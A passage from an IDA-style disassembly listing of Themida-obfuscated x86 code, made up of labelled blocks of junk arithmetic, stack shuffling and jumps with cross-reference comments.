		mov	edx, ecx
		jmp	loc_55A383
; ---------------------------------------------------------------------------


loc_55439B:				; CODE XREF: Themida_:005551DBj
		add	esp, 4
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5543A6:				; CODE XREF: Themida_:00559B99j
		sub	ecx, ebp
		jmp	loc_55B488
; ---------------------------------------------------------------------------


loc_5543AD:				; CODE XREF: Themida_:00555578j
		mov	edi, 4
		push	ebp
		push	edi
		mov	edi, 0BDA2308h
		sub	edi, 0D54504CAh
		mov	ebp, edi
		jmp	loc_5525F0
; ---------------------------------------------------------------------------


loc_5543C6:				; CODE XREF: Themida_:00552D40j
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5562BB
; ---------------------------------------------------------------------------


loc_5543D2:				; CODE XREF: Themida_:0055970Dj
		and	bh, 51h
		not	bh
		shr	bh, 1
		neg	bh
		add	bh, 0FAh
		sub	bh, 8Fh
		sub	al, 2Ah
		sub	al, bh
		add	al, 2Ah
		pop	ebx
		push	edx
		jmp	loc_551B1F
; ---------------------------------------------------------------------------


loc_5543EE:				; CODE XREF: Themida_:0055A3BFj
		push	edx
		jmp	loc_552F6A
; ---------------------------------------------------------------------------
		lodsd
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_55AC93
; ---------------------------------------------------------------------------


loc_5543FE:				; CODE XREF: Themida_:005537CEj
		pop	ebx
		push	edi
		mov	edi, 5F610DD6h
		shl	edi, 2
		or	edi, 1FE15567h
		push	42C4h
		mov	[esp], ecx
		mov	ecx, 1
		push	ecx
		mov	ecx, 5F292FFCh
		and	ecx, 4D2A5F5Ch
		neg	ecx
		jmp	loc_55ADE7
; ---------------------------------------------------------------------------


loc_55442E:				; CODE XREF: Themida_:00555899j
		add	esp, 4
		push	8
		jmp	loc_55D275
; ---------------------------------------------------------------------------


loc_55443B:				; CODE XREF: Themida_:0055B7B8j
		mov	[esp], edx
		mov	edx, esp
		push	ebp
		push	4
		pop	ebp
		push	ebx
		mov	ebx, 18E9213Ch
		jmp	loc_55D380
; ---------------------------------------------------------------------------


loc_554452:				; CODE XREF: Themida_:00556C17j
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		jmp	loc_55741F
; ---------------------------------------------------------------------------


loc_55446A:				; CODE XREF: Themida_:00554CA4j
		pop	edi
		shr	ecx, 8
		neg	ecx
		sub	ecx, 0FFFFFFFFh
		add	ecx, 3D9644B4h
		sub	eax, ecx
		jmp	loc_558580
; ---------------------------------------------------------------------------


loc_554483:				; CODE XREF: Themida_:00559A9Ej
		mov	ebx, 23FE7EEAh
		jmp	loc_5535D0
; ---------------------------------------------------------------------------


loc_55448D:				; CODE XREF: Themida_:00558271j
		pop	edx
		movzx	eax, al
		jmp	loc_55909A
; ---------------------------------------------------------------------------


loc_554496:				; CODE XREF: Themida_:0055D6E8j
		pop	ebp
		push	edi
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		neg	edi
		xor	edi, 312035CBh
		sub	edx, edi
		pop	edi
		pop	ecx
		add	edx, 4
		jmp	loc_55193D
; ---------------------------------------------------------------------------


loc_5544B9:				; CODE XREF: Themida_:005538C5j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	bl, 67h
		and	bl, 52h
		shr	bl, 8
		jmp	loc_552F29
; ---------------------------------------------------------------------------


loc_5544CD:				; CODE XREF: Themida_:0055DA6Fj
		add	esp, 4
		xor	ebx, eax
		jmp	loc_55450F
; ---------------------------------------------------------------------------


loc_5544D7:				; CODE XREF: Themida_:0055CF69j
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		jmp	loc_55D9F8
; ---------------------------------------------------------------------------


loc_5544E2:				; CODE XREF: Themida_:00557AACj
		sub	ebx, 1D2655Eh
		pop	ebp
		add	ebx, edx
		sub	ebx, 5C1A7421h
		push	edx
		mov	edx, 0
		jmp	loc_557A1C
; ---------------------------------------------------------------------------


loc_5544FC:				; CODE XREF: Themida_:0055458Dj
		mov	[esp], ebx
		mov	bh, 0F7h
		push	27ACh
		mov	[esp], eax
		push	ecx
		jmp	loc_55D3BD
; ---------------------------------------------------------------------------


loc_55450F:				; CODE XREF: Themida_:005544D2j
		movzx	ax, byte ptr [eax]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_55663F
; ---------------------------------------------------------------------------


loc_554522:				; CODE XREF: Themida_:005591B4j
		pop	ecx
		add	esp, 4
		add	al, 0F3h
		add	al, bl
		sub	al, 0F3h
		jmp	loc_55DAE8
; ---------------------------------------------------------------------------


loc_554534:				; CODE XREF: Themida_:0055C04Cj
		pop	eax
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_553F8A
; ---------------------------------------------------------------------------


loc_554566:				; CODE XREF: Themida_:0055ACC6j
		not	ch
		jmp	loc_55B22F
; ---------------------------------------------------------------------------


loc_55456D:				; CODE XREF: Themida_:00552257j
		mov	ebx, 4
		jmp	loc_55B3F7
; ---------------------------------------------------------------------------


loc_554577:				; CODE XREF: Themida_:00555706j
		add	dl, ah
		pop	eax
		sub	bl, dl
		pop	edx
		xor	bl, 0A7h
		xor	al, bl
		mov	ebx, [esp]
		add	esp, 4
		push	2C6Bh
		jmp	loc_5544FC
; ---------------------------------------------------------------------------


loc_554592:				; CODE XREF: Themida_:00553162j
		push	ebx
		mov	bl, 0FBh
		push	eax
		push	ecx
		mov	ch, bl
		mov	al, ch
		jmp	loc_55766B
; ---------------------------------------------------------------------------


loc_5545A0:				; CODE XREF: Themida_:00559728j
		add	ecx, 4
		jmp	loc_5552AD
; ---------------------------------------------------------------------------


loc_5545AB:				; CODE XREF: Themida_:00552A76j
		add	ebp, esi
		pop	esi
		push	edi
		mov	edi, 249D3155h
		and	ebp, edi
		pop	edi
		push	ecx
		push	5E3Ch
		mov	[esp], ebx
		mov	ebx, 39BD29ECh
		jmp	$+5
		mov	ecx, 2C6A47EDh
		xor	ecx, ebx
		pop	ebx
		and	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ebp, 50000h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5579DF
; ---------------------------------------------------------------------------


loc_5545EB:				; CODE XREF: Themida_:0055D966j
		xor	edx, 0F676F224h
		sub	edi, edx
		pop	edx
		dec	edi
		jmp	loc_558C2F
; ---------------------------------------------------------------------------


loc_5545FA:				; CODE XREF: Themida_:005522B7j
		push	edx
		mov	dh, 2Bh
		jmp	loc_55967F
; ---------------------------------------------------------------------------


loc_554602:				; CODE XREF: Themida_:0055ACABj
		dec	edi
		shr	edi, 4
		shr	edi, 3
		add	edi, 42D864B3h
		xor	edi, 87BFC9B6h
		xor	ebp, edi
		pop	edi
		push	ebp
		jmp	loc_55941E
; ---------------------------------------------------------------------------


loc_55461E:				; CODE XREF: Themida_:00552295j
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		and	ecx, edi
		pop	edi
		shr	ecx, 2
		push	3531h
		mov	[esp], ecx
		mov	ecx, ebx
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		mov	esi, 54836E04h
		sub	[esp+4], esi
		jmp	loc_55C3E6
; ---------------------------------------------------------------------------


loc_55464C:				; CODE XREF: Themida_:00559191j
		mov	edx, 38F83A83h
		shr	edx, 7
		sub	edx, 0DD7AB846h
		push	539Dh
		mov	[esp], esi
		mov	esi, 3A9F55A5h
		add	esi, 1C036869h
		and	esi, 7A3B7912h
		xor	esi, 8217929h
		jmp	loc_552458
; ---------------------------------------------------------------------------


loc_55467E:				; CODE XREF: Themida_:00558CE7j
		xor	esi, 0FFC1AE20h
		xor	edx, esi
		pop	esi
		jmp	loc_55C3DE
; ---------------------------------------------------------------------------


loc_55468C:				; CODE XREF: Themida_:0055B483j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_554691:				; CODE XREF: Themida_:0055378Fj
		shr	edx, 1
		jmp	loc_55A642
; ---------------------------------------------------------------------------


loc_554698:				; CODE XREF: Themida_:0055353Dj
		neg	eax
		sub	eax, 32AA5FB2h
		and	eax, 4AA66ACBh
		add	eax, 0BD9978A8h
		jmp	loc_55C4E4
; ---------------------------------------------------------------------------


loc_5546AE:				; CODE XREF: Themida_:005572E6j
		pop	edx
		or	ebp, 69933F55h
		jmp	loc_55CA13
; ---------------------------------------------------------------------------


loc_5546BA:				; CODE XREF: Themida_:0055C718j
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_557F89
; ---------------------------------------------------------------------------


loc_5546D0:				; CODE XREF: Themida_:00553F85j
		mov	[esp], edi
		jmp	loc_55539E
; ---------------------------------------------------------------------------


loc_5546D8:				; CODE XREF: Themida_:0055B683j
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 2ED17475h
		xchg	eax, edi
		jmp	loc_55BEEF
; ---------------------------------------------------------------------------


loc_5546EA:				; CODE XREF: Themida_:005569A3j
		movzx	cx, ah
		jmp	loc_557837
; ---------------------------------------------------------------------------


loc_5546F3:				; CODE XREF: Themida_:00557562j
		push	edx
		mov	edx, 763E4CCFh
		add	ebx, 7B1748E9h
		jmp	loc_55BAFF
; ---------------------------------------------------------------------------


loc_554704:				; CODE XREF: Themida_:0055BDC5j
		push	edx
		push	esi
		jmp	loc_5518EB
; ---------------------------------------------------------------------------
		push	ax
		mov	ah, ch
		mov	ch, [esp+2]
		jmp	loc_554956
; ---------------------------------------------------------------------------


loc_554718:				; CODE XREF: Themida_:0055AC65j
		mov	ecx, 0A2BBF99Dh
		jmp	loc_55D14B
; ---------------------------------------------------------------------------


loc_554722:				; CODE XREF: Themida_:0055B08Ej
		add	esi, 4
		jmp	loc_551BF3
; ---------------------------------------------------------------------------


loc_55472D:				; CODE XREF: Themida_:005585FEj
		pop	eax
		add	dl, bl
		sub	dl, 67h
		pop	ebx
		push	ebx
		mov	bh, 0C9h
		push	eax
		mov	ah, 8Eh
		or	ah, 6Dh
		jmp	loc_5522B1
; ---------------------------------------------------------------------------


loc_554742:				; CODE XREF: Themida_:005552BFj
		shl	dl, 4
		or	dl, 63h
		dec	dl
		xor	dl, 38h
		xor	ch, dl
		mov	edx, [esp]
		jmp	loc_55DB05
; ---------------------------------------------------------------------------


loc_554757:				; CODE XREF: Themida_:0055A312j
		add	esp, 4
		add	dword ptr [esp+4], 0FAB22CEh
		add	dword ptr [esp+4], 34B34511h
		sub	[esp+4], ebp
		push	eax
		mov	eax, 34B34511h
		sub	[esp+8], eax
		mov	eax, [esp]
		jmp	loc_55350D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55478B:				; CODE XREF: Themida_:0055C656j
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_553EAA
; ---------------------------------------------------------------------------


loc_554795:				; CODE XREF: Themida_:00553BAEj
		mov	dx, [esp]
		add	esp, 2
		add	ax, 372Bh
		add	ax, bp
		sub	ax, 372Bh
		mov	ebp, [esp]
		add	esp, 4
		sub	bx, 0B6Eh
		push	ebp
		mov	bp, 5C29h
		add	bp, 56C6h
		jmp	loc_55D9C2
; ---------------------------------------------------------------------------


loc_5547C1:				; CODE XREF: Themida_:0055BBE4j
		push	dword ptr [esp]
		mov	edx, [esp]
		push	54F8h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		jmp	loc_559EEA
; ---------------------------------------------------------------------------


loc_5547DD:				; CODE XREF: Themida_:0055C3C5j
		shl	cl, 1
		dec	cl
		dec	cl
		add	cl, 59h
		sub	al, cl
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_553676
; ---------------------------------------------------------------------------


loc_5547F7:				; CODE XREF: Themida_:0055CA16j
		sub	ebp, 0EBDF3Bh
		add	esi, 7F9A6468h
		add	esi, ebp
		sub	esi, 7F9A6468h
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_55CCFB
; ---------------------------------------------------------------------------


loc_554838:				; CODE XREF: Themida_:00553FF7j
		cmp	dword ptr [edi+20h], 0
		jz	loc_55A826
		push	26BEh
		jmp	loc_5529BE
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	2DC2h
		mov	[esp], eax
		mov	eax, esp
		push	ecx
		mov	ecx, 63BF0FC2h
		dec	ecx
		jmp	loc_5592F7
; ---------------------------------------------------------------------------


loc_554865:				; CODE XREF: Themida_:00552097j
		add	esp, 4
		jmp	loc_55C921
; ---------------------------------------------------------------------------


loc_55486D:				; CODE XREF: Themida_:005588CFj
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55375A
; ---------------------------------------------------------------------------


loc_55487F:				; CODE XREF: Themida_:00558B93j
		mov	esi, esp
		add	esi, 4
		jmp	loc_55CF31
; ---------------------------------------------------------------------------


loc_55488C:				; CODE XREF: Themida_:00555C01j
		or	ch, 0C9h
		add	ch, 0CDh
		sub	al, 26h
		sub	al, ch
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_556D93
; ---------------------------------------------------------------------------


loc_5548A4:				; CODE XREF: Themida_:00558D6Fj
		mov	[esp], edx
		push	esp
		jmp	loc_55A5D1
; ---------------------------------------------------------------------------


loc_5548AD:				; CODE XREF: Themida_:00558DA1j
		add	esp, 4
		push	ebp
		mov	ebp, 252C56F9h
		jmp	loc_552377
; ---------------------------------------------------------------------------


loc_5548BB:				; CODE XREF: Themida_:00551DB7j
		dec	al
		inc	al
		push	ebx
		mov	bl, 51h
		xor	al, bl
		pop	ebx
		add	ch, al
		pop	eax
		add	dh, ch
		pop	ecx
		push	eax
		jmp	loc_551AD3
; ---------------------------------------------------------------------------


loc_5548D1:				; CODE XREF: Themida_:0055304Ej
		pop	eax
		jmp	loc_551B32
; ---------------------------------------------------------------------------


loc_5548D7:				; CODE XREF: Themida_:0055B2C2j
		pop	esi
		and	esi, 0CAD3254h
		not	esi
		jmp	loc_551F8F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_557618
; ---------------------------------------------------------------------------


loc_5548F1:				; CODE XREF: Themida_:0055D7BDj
		mov	dl, 66h
		or	dl, 0C1h
		push	eax
		mov	ah, dl
		not	ah
		mov	dl, ah
		pop	eax
		shl	dl, 8
		jmp	loc_55C274
; ---------------------------------------------------------------------------


loc_554906:				; CODE XREF: Themida_:00552B94j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ebp, ecx
		pop	ecx
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	13BBh
		mov	[esp], ecx
		push	0
		jmp	loc_555A50
; ---------------------------------------------------------------------------


loc_554938:				; CODE XREF: Themida_:005564C1j
		inc	eax
		shr	eax, 1
		add	eax, 614ED443h
		jmp	loc_552F1E
; ---------------------------------------------------------------------------


loc_554945:				; CODE XREF: Themida_:0055B431j
		pop	esp
		mov	[esp], edx
		jmp	loc_55D351
; ---------------------------------------------------------------------------


loc_55494E:				; CODE XREF: Themida_:0055529Fj
		xor	ecx, [esp]
		jmp	loc_554270
; ---------------------------------------------------------------------------


loc_554956:				; CODE XREF: Themida_:00554713j
		mov	[esp+2], ah
		mov	ax, [esp]
		add	esp, 2
		not	ch
		push	small 49A4h
		mov	[esp], bx
		push	6D88h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_556A93
; ---------------------------------------------------------------------------


loc_554981:				; CODE XREF: Themida_:00559FB7j
		xor	ch, 7Dh
		add	al, ch
		mov	ecx, [esp]
		add	esp, 4
		add	bl, 8Ah
		push	ecx
		push	701h
		mov	[esp], eax
		push	ebx
		mov	bl, 7Fh
		sub	bl, 8Dh
		neg	bl
		add	bl, 63h
		or	bl, 0E1h
		sub	bl, 2
		mov	ah, bl
		pop	ebx
		neg	ah
		shl	ah, 5
		sub	ah, 8Ch
		xor	ah, 0C2h
		mov	ch, ah
		pop	eax
		jmp	loc_55CA67
; ---------------------------------------------------------------------------


loc_5549C2:				; CODE XREF: Themida_:005571A9j
		push	esi
		mov	esi, 39077550h
		jmp	loc_55999D
; ---------------------------------------------------------------------------


loc_5549CD:				; CODE XREF: Themida_:005579C2j
		xchg	edx, [esp]
		jmp	loc_556A0A
; ---------------------------------------------------------------------------


loc_5549D5:				; CODE XREF: Themida_:00552042j
		push	ecx
		push	ebp
		jmp	loc_5598EF
; ---------------------------------------------------------------------------


loc_5549DC:				; CODE XREF: Themida_:0055614Fj
		mov	cx, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_5522F8
; ---------------------------------------------------------------------------


loc_5549FA:				; CODE XREF: Themida_:0055DAA5j
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_554A06:				; CODE XREF: Themida_:005594D1j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_558768
; ---------------------------------------------------------------------------


loc_554A22:				; CODE XREF: Themida_:0055B14Ej
		inc	dh
		jmp	loc_55BB99
; ---------------------------------------------------------------------------


loc_554A29:				; CODE XREF: Themida_:00559A56j
		sub	esp, 4
		jmp	loc_553B6E
; ---------------------------------------------------------------------------


loc_554A34:				; CODE XREF: Themida_:0055527Ej
		sub	eax, 2069E44Ch
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_556059
; ---------------------------------------------------------------------------
		push	48C1h
		mov	[esp], ebp
		jmp	loc_55BDCA
; ---------------------------------------------------------------------------


loc_554A5A:				; CODE XREF: Themida_:00557A17j
		sub	eax, 46831725h
		sub	eax, 8D77ADFh
		add	eax, edi
		push	ecx
		mov	ecx, 5BF51490h
		shl	ecx, 2
		not	ecx
		jmp	loc_551D68
; ---------------------------------------------------------------------------


loc_554A76:				; CODE XREF: Themida_:0055338Dj
		add	esi, edi
		pop	edi
		jmp	loc_55617E
; ---------------------------------------------------------------------------


loc_554A7E:				; CODE XREF: Themida_:0055D0DCj
		push	eax
		mov	eax, 79E15D7Eh
		add	edi, eax
		pop	eax
		pop	esi
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	edi, ebp
		sub	edi, 7A5A22E0h
		pop	ebp
		jmp	loc_557B48
; ---------------------------------------------------------------------------


loc_554AA0:				; CODE XREF: Themida_:00558628j
		sub	eax, 0FA633BD0h
		xor	ebx, eax
		pop	eax
		add	ebx, 0C785C63Dh
		jmp	loc_55D537
; ---------------------------------------------------------------------------


loc_554AB3:				; CODE XREF: Themida_:0055A179j
		add	ecx, ebx
		push	ebp
		mov	ebp, 3CF12297h
		add	ecx, 744167DBh
		sub	ecx, 87C3951h
		add	ecx, ebp
		add	ecx, 87C3951h
		jmp	loc_55A290
; ---------------------------------------------------------------------------


loc_554AD4:				; CODE XREF: Themida_:00559C8Cj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		jmp	loc_55AF34
; ---------------------------------------------------------------------------


loc_554AE3:				; CODE XREF: Themida_:005576C3j
		mov	eax, 6B272366h
		and	eax, 6AE2A21h
		neg	eax
		push	esi
		jmp	loc_55C60D
; ---------------------------------------------------------------------------
		pop	edx
		pop	ecx
		sub	bl, 0DEh
		add	al, bl
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_557B03
; ---------------------------------------------------------------------------


loc_554B0B:				; CODE XREF: Themida_:0055BEEAj
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_55A0E5
; ---------------------------------------------------------------------------


loc_554B15:				; CODE XREF: Themida_:00554DB5j
		push	esi
		mov	esi, 4AC8057Fh
		push	ebp
		mov	ebp, 77D8765Bh
		or	esi, ebp
		pop	ebp
		xor	esi, 7FD8777Bh
		add	ecx, esi
		jmp	loc_559646
; ---------------------------------------------------------------------------


loc_554B31:				; CODE XREF: Themida_:00554D6Dj
		push	edi
		mov	edi, esp
		push	2484h
		mov	[esp], edx
		mov	edx, 3FEA39A4h
		jmp	loc_5558E1
; ---------------------------------------------------------------------------


loc_554B46:				; CODE XREF: Themida_:0055D4D2j
		add	edx, 4
		sub	esp, 4
		mov	[esp], edi
		push	esi
		mov	esi, 4
		mov	edi, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_557F5E
; ---------------------------------------------------------------------------


loc_554B66:				; CODE XREF: Themida_:005523C8j
		mov	[esp], edi
		push	esi
		mov	esi, 2677AB70h
		push	esi
		pop	edi
		jmp	loc_55CA87
; ---------------------------------------------------------------------------


loc_554B76:				; CODE XREF: Themida_:0055D532j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		push	42C660C8h
		pop	eax
		jmp	loc_55CE8E
; ---------------------------------------------------------------------------


loc_554B8C:				; CODE XREF: Themida_:0055A50Fj
		add	esi, 6178580Ah
		jmp	loc_55833F
; ---------------------------------------------------------------------------


loc_554B97:				; CODE XREF: Themida_:005594DFj
		sub	ecx, 2AB32C79h
		jmp	loc_55C8DA
; ---------------------------------------------------------------------------


loc_554BA2:				; CODE XREF: Themida_:005582BAj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	[esp], eax
		push	56E0h
		jmp	loc_558E0B
; ---------------------------------------------------------------------------


loc_554BBC:				; CODE XREF: Themida_:0055945Ej
					; Themida_:0055C705j
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 578348BBh
		xor	edx, 496942D1h
		inc	edx
		push	ebx
		mov	ebx, 6BBA60A9h
		or	ebx, 614B2507h
		add	ebx, 0EAE2E29Fh
		and	edx, ebx
		pop	ebx
		inc	edx
		dec	edx
		jmp	loc_557317
; ---------------------------------------------------------------------------


loc_554BEC:				; CODE XREF: Themida_:0055A037j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	eax
		push	ebx
		push	2E5011A7h
		jmp	loc_557D23
; ---------------------------------------------------------------------------


loc_554C07:				; CODE XREF: Themida_:00551A5Bj
		not	eax
		jmp	loc_55DAAA
; ---------------------------------------------------------------------------


loc_554C0E:				; CODE XREF: Themida_:0055B8E8j
		add	[esp+4], ebp
		add	dword ptr [esp+4], 492939h
		pop	ebp
		pop	esi
		push	450Ch
		mov	[esp], ecx
		mov	ecx, 64E2494Dh
		and	ecx, 7D3865BCh
		or	ecx, 7CF119EBh
		jmp	loc_553172
; ---------------------------------------------------------------------------


loc_554C3A:				; CODE XREF: Themida_:0055BE3Aj
		push	dword ptr [esp]
		jmp	loc_5551E0
; ---------------------------------------------------------------------------


loc_554C42:				; CODE XREF: Themida_:0055BAC7j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		mov	edx, 2
		sub	ebp, 37C921B2h
		add	ebp, 2BB865F6h
		jmp	loc_559E1E
; ---------------------------------------------------------------------------


loc_554C62:				; CODE XREF: Themida_:00558923j
		bt	[esp], ax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_554C6D:				; CODE XREF: Themida_:00558D82j
		mov	ecx, [esp]
		jmp	loc_553A0B
; ---------------------------------------------------------------------------


loc_554C75:				; CODE XREF: Themida_:0055D4F5j
		sub	edi, 0B623CF1Dh
		add	eax, edi
		pop	edi
		push	edx
		push	7F92h
		mov	[esp], eax
		mov	eax, 0AD601A1h
		not	eax
		jmp	loc_5520DA
; ---------------------------------------------------------------------------


loc_554C93:				; CODE XREF: Themida_:00555230j
		push	ebx
		mov	ebx, 0B740A31h
		add	ebx, 0ED1DEB16h
		sub	edi, ebx
		pop	ebx
		mov	ecx, edi
		jmp	loc_55446A
; ---------------------------------------------------------------------------


loc_554CA9:				; CODE XREF: Themida_:00555CACj
		push	ecx
		mov	ecx, 30A40DFBh
		shl	ecx, 2
		jmp	loc_55D6FC
; ---------------------------------------------------------------------------


loc_554CB7:				; CODE XREF: Themida_:00557F67j
		xor	edx, [esp]
		mov	esp, [esp]
		push	5DA3h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_55CE42
; ---------------------------------------------------------------------------


loc_554CD8:				; CODE XREF: Themida_:00556076j
		sub	ecx, 13440421h
		jmp	loc_55C54F
; ---------------------------------------------------------------------------


loc_554CE3:				; CODE XREF: Themida_:0055C7D7j
		mov	ebp, 604C44DCh
		shl	ebp, 5
		neg	ebp
		jmp	loc_553D26
; ---------------------------------------------------------------------------


loc_554CF2:				; CODE XREF: Themida_:0055DD51j
		pop	ecx
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_554CF8:				; CODE XREF: Themida_:00559735j
		pop	eax
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	685Dh
		mov	[esp], ebx
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 449179D7h
		jmp	loc_5523B8
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 15883D18h
		add	edi, 71917D32h
		jmp	loc_5524DC
; ---------------------------------------------------------------------------


loc_554D36:				; CODE XREF: Themida_:00553BF7j
		sub	di, 0E9B5h
		sub	ax, di
		pop	edi
		shl	ax, 4
		shr	ax, 5
		and	ax, 6193h
		xor	ax, 0AF7h
		xor	si, ax
		pop	ax
		mov	di, si
		mov	esi, [esp]
		add	esp, 4
		add	bx, di
		mov	di, [esp]
		add	esp, 2
		movzx	eax, ax
		jmp	loc_554B31
; ---------------------------------------------------------------------------


loc_554D72:				; CODE XREF: Themida_:0055D7A6j
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_55CCCD
; ---------------------------------------------------------------------------


loc_554D7F:				; CODE XREF: Themida_:005569B3j
		push	36C9h
		jmp	loc_552672
; ---------------------------------------------------------------------------


loc_554D89:				; CODE XREF: Themida_:0055289Bj
		dec	esi
		xor	esi, 0E443B983h
		jmp	loc_552B4F
; ---------------------------------------------------------------------------


loc_554D95:				; CODE XREF: Themida_:00552E46j
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_55225C
; ---------------------------------------------------------------------------


loc_554DA3:				; CODE XREF: Themida_:00557DA5j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_554B15
; ---------------------------------------------------------------------------


loc_554DBA:				; CODE XREF: Themida_:0055CA21j
		neg	esi
		jmp	loc_55220E
; ---------------------------------------------------------------------------


loc_554DC1:				; CODE XREF: Themida_:00555778j
		mov	edx, esp
		add	edx, 4
		jmp	loc_5579BF
; ---------------------------------------------------------------------------


loc_554DCE:				; CODE XREF: Themida_:0055D683j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5523D8
; ---------------------------------------------------------------------------


loc_554DE3:				; CODE XREF: Themida_:0055C9AFj
		add	esp, 4
		sub	edx, 2
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_55CC60
; ---------------------------------------------------------------------------


loc_554DF9:				; CODE XREF: Themida_:005550EFj
		shr	edx, 8
		jmp	loc_55331F
; ---------------------------------------------------------------------------


loc_554E01:				; CODE XREF: Themida_:0055B007j
		add	ecx, 3098716Bh
		pop	edx
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_55D007
; ---------------------------------------------------------------------------


loc_554E19:				; CODE XREF: Themida_:00553E57j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55D688
; ---------------------------------------------------------------------------


loc_554E37:				; CODE XREF: Themida_:00553EAFj
		push	57D4h
		jmp	loc_55CDCB
; ---------------------------------------------------------------------------


loc_554E41:				; CODE XREF: Themida_:0055C6AEj
		mov	edi, 871D11h
		mov	edx, 0FF78E30Bh
		add	edx, edi
		pop	edi
		add	edx, edi
		push	ebx
		mov	ebx, 0
		jmp	loc_55BB2B
; ---------------------------------------------------------------------------


loc_554E5B:				; CODE XREF: Themida_:00553138j
		add	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_557719
; ---------------------------------------------------------------------------


loc_554E66:				; CODE XREF: Themida_:005555C1j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	esi, [esp]
		jmp	loc_55CFF7
; ---------------------------------------------------------------------------


loc_554E79:				; CODE XREF: Themida_:00553960j
		xor	ebx, 729C59DAh
		jmp	loc_5526AE
; ---------------------------------------------------------------------------


